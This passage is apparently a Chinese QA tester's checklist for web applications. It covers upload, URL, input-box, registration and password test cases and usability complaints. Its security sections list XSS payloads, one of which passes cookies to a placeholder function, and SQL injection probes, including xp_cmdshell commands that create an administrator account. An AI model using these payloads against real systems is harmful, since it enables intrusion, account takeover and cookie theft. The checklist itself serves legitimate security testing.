4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現(xiàn)異常錯誤。
5.上傳文件大小大于本地剩余空間大小,是否會出現(xiàn)異常錯誤。
6.關(guān)于上傳是否成功的判斷。上傳過程中,中斷。程序是否判斷上傳是否成功。
7.對于文件名中帶有中文字符,特殊字符等的文件上傳。
下載:
[if !supportLists]1.?[endif]避免輸入:\..\web.
[if !supportLists]2.?[endif]修改命名后綴。
關(guān)于URL:
1.某些需登錄后或特殊用戶才能進入的頁面,是否可以通過直接輸入網(wǎng)址的方式進入;
2.對于帶參數(shù)的網(wǎng)址,惡意修改其參數(shù),(若為數(shù)字,則輸入字母,或很大的數(shù)字,或輸入特殊字符等)后打開網(wǎng)址是否出錯,是否可以非法進入某些頁面;
3.搜索頁面等url中含有關(guān)鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執(zhí)行。
4.輸入善意字符。
UBB:
[url=http://www.****.com] 你的網(wǎng)站[/url]
1.試著用各種方式輸入UBB代碼,比如代碼不完整,代碼嵌套等等.
2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起作用
3.輸入編輯器中不存在的UBB代碼,看是否起作用
[url=javascript:alert('hello')]鏈接[/url]
[email=javascript:alert('hello')]EMail[/email]
[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]
[b STYLE="background-image: url(javascript:alert('XSS'))"]一首詩酸澀澀服務(wù)網(wǎng)[/b]
[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微軟雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微軟雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
[if !supportLists]2.?[endif]輸出編碼
常用的測試輸入語句有:
<input type="text"/>
<input/>
<input/ ?
<script>alert('hello');</script>
1.jpg" onmouseover="alert('xss')
"></a><script>alert(‘xss’);</script>
http://xxx';alert('xss');var/ a='a
‘”>xss&<
a=”\”?; b=”;alert(/xss/);//”
<img src=“輸出內(nèi)容” border=“0” alt=“l(fā)ogo” />
“’”
‘”’
“””
“ “ “
“”“
“‘ ”
title=””
對輸出數(shù)據(jù)到輸出數(shù)據(jù)的對比,看是否出現(xiàn)問題。
[if !supportLists]3.?[endif]防止SQL注入
Admin--
‘or --
‘??and ?( ??) ??exec ??insert ??* ??% ??chr ??mid ??
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ?; ?%20AND%201=2
‘a(chǎn)nd 1=1 ???; ?‘And ?1=1 ??; ??‘a(chǎn)Nd ??1=1 ??;
and 1=2 ???; ??‘a(chǎn)nd 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)
簡單的如where xtype=’U’,字符U對應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。
[if !supportLists]4.?[endif]跨站腳本攻擊(XSS)
對于XSS,只需檢查 HTML 輸出并看看您輸入的內(nèi)容在什么地方。它在一個 HREF 標記中嗎?是否在 IFRAME 標記中?它在 CLSID 標記中嗎?在 IMG SRC 中嗎?某些 Flash 內(nèi)容的 PARAM NAME 是怎樣的?
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/ ?
★<script>alert('xss')</script>
★<script>alert('xss');</script>
★</script><script>alert(‘xss’)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src="#" onerror=alert(/xss/)>
★<img src="#" style="Xss:expression(alert(/xss/));">
★<img src="#"/**/onerror=alert(/xss/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg" onmouseover="alert('xss')
★"></a><script>alert(‘xss’);</script>
★http://xxx';alert('xss');var/ a='a
★’”>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
??★>"'><script>alert(‘XSS')</script>
??★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
??★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
??★%22%2Balert(%27XSS%27)%2B%22
??★<table background="javascript:alert(([code])"></table>
??★<object type=text/html data="javascript:alert(([code]);"></object>
??★<body onload="javascript:alert(([code])"></body>
??★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = ”;hackerFunction(document.cookie);”;
http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX
[if !supportLists]5.?[endif]跨站請求偽造(CSRF)
同個瀏覽器打開兩個頁面,一個頁面權(quán)限失效后,另一個頁面是否可操作成功。
當頁面沒有CHECKCODE時,查看頁面源代碼,查是是否有token。如果頁面完全是展示頁面,是不會有token的。
[if !supportLists]一、?[endif]用戶注冊
只從用戶名和密碼角度寫了幾個要考慮的測試點,如果需求中明確規(guī)定了安全問題,Email,出生日期,地址,性別等等一系列的格式和字符要求,那就都要寫用例測了~
以等價類劃分和邊界值法來分析
1.填寫符合要求的數(shù)據(jù)注冊: 用戶名字和密碼都為最大長度(邊界值分析,取上點)
2.填寫符合要求的數(shù)據(jù)注冊 :用戶名字和密碼都為最小長度(邊界值分析,取上點)
3.填寫符合要求的數(shù)據(jù)注冊:用戶名字和密碼都是非最大和最小長度的數(shù)據(jù)(邊界值分析,取內(nèi)點)
4.必填項分別為空注冊
5.用戶名長度大于要求注冊1位(邊界值分析,取離點)
6.用戶名長度小于要求注冊1位(邊界值分析,取離點)
7.密碼長度大于要求注冊1位(邊界值分析,取離點)
8.密碼長度小于要求注冊1位(邊界值分析,取離點)
9.用戶名是不符合要求的字符注冊(這個可以劃分幾個無效的等價類,一般寫一兩個就行了,如含有空格,#等,看需求是否允許吧~)
10.密碼是不符合要求的字符注冊(這個可以劃分幾個無效的等價類,一般寫一兩個就行了)
11.兩次輸入密碼不一致(如果注冊時候要輸入兩次密碼,那么這個是必須的)
12.重新注冊存在的用戶
13.改變存在的用戶的用戶名和密碼的大小寫,來注冊。(有的需求是區(qū)分大小寫,有的不區(qū)分)
14.看是否支持tap和enter鍵等;密碼是否可以復(fù)制粘貼;密碼是否以* 之類的加秘符號顯示
備注:邊界值的上點、內(nèi)點和離點大家應(yīng)該都知道吧,呵呵,這里我就不細說了~~
[if !supportLists]二、?[endif]修改密碼
當然具體情況具體分析哈~不能一概而論~
實際測試中可能只用到其中幾條而已,比如銀行卡密碼的修改,就不用考慮英文和非法字符,更不用考慮那些TAP之類的快捷鍵。而有的需要根據(jù)需求具體分析了,比如連續(xù)出錯多少次出現(xiàn)的提示,和一些軟件修改密碼要求一定時間內(nèi)有一定的修改次數(shù)限制等等。
1.不輸入舊密碼,直接改密碼
2.輸入錯誤舊密碼
3.不輸入確認新密碼
4.不輸入新密碼
5.新密碼和確認新密碼不一致
6.新密碼中有空格
7.新密碼為空
8.新密碼為符合要求的最多字符
9.新密碼為符合要求的最少字符
10.新密碼為符合要求的非最多和最少字符
11.新密碼為最多字符-1
12.新密碼為最少字符+1
13.新密碼為最多字符+1
14.新密碼為最少字符-1
15.新密碼為非允許字符(如有的密碼要求必須是英文和數(shù)字組成,那么要試漢字和符號等)
16.看是否支持tap和enter鍵等;密碼是否可以復(fù)制粘貼;密碼是否以* 之類的加秘符號
17.看密碼是否區(qū)分大小寫,新密碼中英文小寫,確認密碼中英文大寫
18.新密碼與舊密碼一樣能否修改成功
另外一些其他的想法如下:
1 要測試所有規(guī)約中約定可以輸入的特殊字符,字母,和數(shù)字,要求都可以正常輸入、顯示正常和添加成功
2 關(guān)注規(guī)約中的各種限制,比如長度,大否支持大小寫。
3 考慮各種特殊情況,比如添加同名用戶,系統(tǒng)是否正確校驗給出提示信息,管理員帳戶是否可以刪除,因為有些系統(tǒng)管理員擁有最大權(quán)限,一旦刪除管理員帳戶,就不能在前臺添加,這給最終用戶會帶來很多麻煩。比較特殊的是,當用戶名中包括了特殊字符,那么對這類用戶名的添加同名,修改,刪除,系統(tǒng)是否能夠正確實現(xiàn),我就遇到了一個系統(tǒng),添加同名用戶時,如果以前的用戶名沒有特殊字符,系統(tǒng)可以給出提示信息,如果以前的用戶名包含特殊字符,就不校驗在插入數(shù)據(jù)庫的時候報錯。后來查到原因了,原來是在java中拼SQL語句的時候,因為有"_",所以就調(diào)用了一個方法在“_”,前面加了一個轉(zhuǎn)義字符,后來發(fā)現(xiàn)不該調(diào)用這個方法。所以去掉就好了。所以對待輸入框中的特殊字符要多關(guān)注。
4 數(shù)值上的長度 之類的,包括出錯信息是否合理
5 特殊字符:比如。 / ' " \ </html> 這些是否會造成系統(tǒng)崩潰
6 注入式bug:比如密碼輸入個or 1=1??
7 登錄后是否會用明文傳遞參數(shù)
8 訪問控制:登錄后保存里面的鏈接,關(guān)了瀏覽器直接復(fù)制鏈接看能不能訪問。
輸入框測試
1.驗證輸入與輸出的是否信息一致;
2.輸入框之前的標題是否正確;
3.對特殊字符的處理,尤其是輸入信息徐需要發(fā)送到數(shù)據(jù)庫的。特殊字符包括:'(單引號)、"(雙引號)、[](中括號)、()(小括號)、{}(大括號)、;(分號)、<>(大于小于號)……
4.對輸入框輸入超過限制的字符的處理,一般非特殊的沒有作出限制的在255byte左右;
5.輸入框本身的大小、長度;
6.不同內(nèi)碼的字符的輸入;
7.對空格、TAB字符的處理機制;
8.字符本身顯示的顏色;
9.密碼輸入窗口轉(zhuǎn)換成星號或其它符號;
10.密碼輸入框?qū)ζ渲械男畔⑦M行加密,防止采用破解星號的方法破解;
11.按下ctrl和alt鍵對輸入框的影響;
12.對于新增、修改、注冊時用的輸入框,有限制的,應(yīng)該輸入時作出提示,指出不允許的或者標出允許的;
13.對于有約束條件要求的輸入框應(yīng)當在條件滿足時輸入框的狀態(tài)發(fā)生相應(yīng)的改變,比如選了湖南就應(yīng)該列出湖南下面的市,或者選了某些條件之后,一些輸入框會關(guān)閉或轉(zhuǎn)為只讀狀態(tài);
14.輸入類型;根據(jù)前面的欄位標題判斷該輸入框應(yīng)該輸入哪些內(nèi)容算是合理的。例如,是否允許輸入數(shù)字或字母,不允許輸入其他字符等。
15.輸入長度;數(shù)據(jù)庫字段有長度定義,當輸入過長時,提交數(shù)據(jù)是否會出錯。
16.輸入狀態(tài);當處于某種狀態(tài)下,輸入框是否處于可寫或非可寫狀態(tài)。例如,系統(tǒng)自動給予的編號等欄位作為唯一標識,當再次處于編輯狀態(tài)下,輸入框欄位應(yīng)處于不可寫狀態(tài),如果可寫對其編輯的話,可能會造成數(shù)據(jù)重復(fù)引起沖突等。
17.如果是會進行數(shù)據(jù)庫操作的輸入框,還可以考慮輸入SQL中的一些特殊符號如單引號等,有時會有意想不到的錯誤出現(xiàn)
18.輸入類型輸入長度是否允許復(fù)制粘貼為空的情況空格的考慮半角全角測試對于密碼輸入框要考慮顯示的內(nèi)容是*??輸入錯誤時的提示信息及提示信息是否準確
19.可以先了解你要測試的輸入框在軟件系統(tǒng)的某個功能中所扮演的角色,然后了解其具體的輸入條件,在將輸入條件按照有效等價類,無效等價類,邊界值等方法進行測試用例的設(shè)計。
20.關(guān)鍵字有大小寫混合的情況;
21.關(guān)鍵字中含有一個或多個空格的情況,包括前空格,中間空格(多個關(guān)鍵字),和后空格;
22.關(guān)鍵字中是否支持通配符的情況(視功能而定);
23.關(guān)鍵字的長度分別為9、10、11個字符時的情況;
24.關(guān)鍵字是valid,但是沒有匹配搜索結(jié)果的情況;
25.輸入html的標簽會出現(xiàn)哪些問題?輸入 會出現(xiàn)什么問題呢?(這條是我自己發(fā)現(xiàn)的,在網(wǎng)上也沒找到類似的東東,呵呵,大家湊合著看吧)
安全測試方面:
給出一些特別的關(guān)鍵字,比如or 1=1, 這樣的關(guān)鍵字如果不被處理就直接用到數(shù)據(jù)庫查詢中去,后果可想而知。
用戶體驗相關(guān)
我登錄失敗的時候沒有任何提示,這沒什么,反正提示也只是說失敗…
進去后發(fā)現(xiàn)顏色變更很強烈刺得我一眨眼,不過多看幾次就習慣了。
點擊某個鏈接的時候出現(xiàn)錯誤頁面,刷新后就好了,難道是隨機錯誤?
保存文字的時候沒有成功提示,不過能成功保存就算了。
瀏覽記錄的時候竟然出現(xiàn)錯誤頁面,原來我沒有選記錄就瀏覽了,我自己操作不規(guī)范嘛。
刪除記錄的時候發(fā)現(xiàn)選錯了,想取消的時候卻提示刪除成功,都沒有確認提示,只能下次看仔細點了。
查詢時字母鍵被茶杯壓住了多輸了點字符,竟然出現(xiàn)錯誤頁面,下次把東西整理好。
無聊隨便點點幾個鏈接,竟然沒有反應(yīng),既然不用,那就不要做出來嘛。
看看自己上傳的圖片效果如何,這個怎么不顯示?多試幾次發(fā)現(xiàn)名字不包含中文就好了,下次注意下。
改改字體字號顏色美化環(huán)境嘛,怎么格式那里不顯示正確的字體字號呢,將就用吧。
這里的記錄條數(shù)怎么這么多啊?原來是沒有刪除按鈕,看來下次不能隨便加了。
這個結(jié)束時間怎么在開始時間前啊?原來沒有進行控制,下面的人執(zhí)行時……還是自己改過來吧。
上次我在這里看見的圖片呢?刷新后就出來了,怎么和我玩捉迷藏呢?
多輸了點內(nèi)容,保存時候提示太多了,點確定后發(fā)現(xiàn)被清空了,我一個小時的工作啊!
這張圖片真不錯,但是按鈕呢,按鈕呢?按鈕被擠掉了我怎么編輯啊。
聽說F5是刷新點一下看看。怎么好像變成了登錄界面?
剛學了怎么用TAB鍵,確實很方便。TAB一下。跑哪去了,怎么一片空白啊???
玩游戲的人點擊速度那么快,我也來試試。怎么一雙擊就出錯了?
我找錯別字是很厲害的,這不就發(fā)現(xiàn)“同意”寫成了“統(tǒng)一”。
這里提示只能輸入1-100,我偏要輸入9999……保存看看,怎么系統(tǒng)不能用了?
這里一點擊就出現(xiàn)IE錯誤,硬是不彈出我需要的窗口。
這個查詢按鈕怎么灰掉了?這么多記錄讓我一頁一頁翻過去找啊。
上傳第二個附件的時候怎么把第一個擠掉了啊,會擠掉也要提示一下嘛。
一個頁面上打開的記錄太多了,變體都用…省略了,要是鼠標放上去浮動顯示完整標題就方便多了。
這幾條記錄有依存關(guān)系,刪了一條其他就沒了,提示都沒有,早知道我就用編輯了……
這條記錄怎么好像是昨天的,我記得今天更新了啊?原來編輯后的記錄沒有傳到引用的地方。
最最奇怪的是昨天上傳時候正常的圖片今天就不能顯示了。我記得沒有只能顯示一天的功能啊???
這里怎么沒有任何按鈕呢,看手冊才知道竟然要用右鍵進行操作,怎么突然冒出個異類啊???
這里怎么能增加兩條相同的記錄呢?不控制一下天知道手下那些愣頭青會做出什么來。
這里的菜單一層一層又一層,足足有五層,把我頭都繞暈了……我記得哪里說過最好不要超過三層的。
這個界面看起來怎么這么別扭啊,是字體太大了,是按鈕太小了,還是功能太多了,……
怎么不是管理員登錄進來也能管理啊,那我這個管理員的身份不是多此一舉嗎?
刪除的時候提示Error,幸虧我英語水平好,可是你換成中文不行嗎?
這條記錄不是刪除了嗎,怎么還能引用啊,到時候出錯了怎么辦,難道還要我記住刪了那些記錄?
經(jīng)過精心編輯,我發(fā)了一條通知,怎么用普通用戶查看的時候是默認的字體字號啊???